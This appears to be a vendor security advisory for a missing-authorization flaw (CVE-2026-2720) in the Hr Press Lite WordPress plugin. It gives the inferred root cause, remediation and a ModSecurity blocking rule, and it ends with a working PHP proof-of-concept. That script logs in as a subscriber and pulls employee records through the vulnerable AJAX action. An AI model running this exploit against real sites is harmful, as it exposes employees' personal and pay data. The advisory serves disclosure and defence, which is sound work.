Atomic Edge analysis of CVE-2026-2720 (metadata-based):
This vulnerability is an authenticated information disclosure flaw in the Hr Press Lite WordPress plugin. The plugin’s `hrp-fetch-employees` AJAX action lacks proper authorization checks, allowing any authenticated user, including those with the low-privilege Subscriber role, to retrieve sensitive employee data.
Atomic Edge research infers the root cause is a missing capability check within the plugin’s AJAX handler registration. The CWE-862 classification indicates the function hooked to the `wp_ajax_hrp-fetch-employees` action does not verify the current user’s permissions before executing. This conclusion is inferred from the CWE and the described attack vector, as source code is unavailable for confirmation.
Exploitation requires an authenticated session. An attacker sends a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `hrp-fetch-employees`. No other parameters are likely required, as the vulnerability stems from missing authorization, not a missing nonce or parameter manipulation. The server responds with a JSON object containing the sensitive employee records.
Remediation requires adding a proper capability check to the vulnerable AJAX handler. The plugin should verify the current user has a sufficient permission level, such as `manage_options` or a custom capability like `hr_press_manage_employees`, before processing the request. The function should also implement nonce verification for an additional layer of CSRF protection.
The impact is high confidentiality loss. Successful exploitation exposes sensitive personally identifiable information (PII) and employment data. Attackers can access employee names, email addresses, phone numbers, salary or pay rates, employment dates, and statuses. This data facilitates targeted phishing, social engineering, and privacy violations.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2720 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262720,phase:2,deny,status:403,chain,msg:'CVE-2026-2720: Hr Press Lite Missing Authorization on hrp-fetch-employees AJAX',severity:'CRITICAL',tag:'CVE-2026-2720',tag:'wordpress',tag:'hr-press-lite',tag:'WAF'"
SecRule ARGS_POST:action "@streq hrp-fetch-employees"
"chain"
SecRule &ARGS_POST:action "!@eq 0"
"t:none,setvar:'tx.cve_2026_2720_block=1'"
SecRule TX:cve_2026_2720_block "@eq 1"
"id:20262721,phase:2,deny,status:403,msg:'CVE-2026-2720 Block - Unauthorized access to employee data',severity:'CRITICAL',tag:'CVE-2026-2720'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2720 - Hr Press Lite <= 1.0.2 - Missing Authorization to Authenticated (Subscriber+) Sensitive Employee Information Exposure
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('/admin-ajax.php', '/wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check if login likely succeeded by examining cookies file or response
if (!file_exists('cookies.txt') || filesize('cookies.txt') < 10) {
die('Login failed. Check credentials.');
}
// Now exploit the missing authorization vulnerability
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'hrp-fetch-employees'
// Assumption: No other parameters are required to trigger the data fetch.
)));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "Exploit likely successful. Response:n";
echo $response;
// The response is expected to be JSON containing employee data.
} else {
echo "Request failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
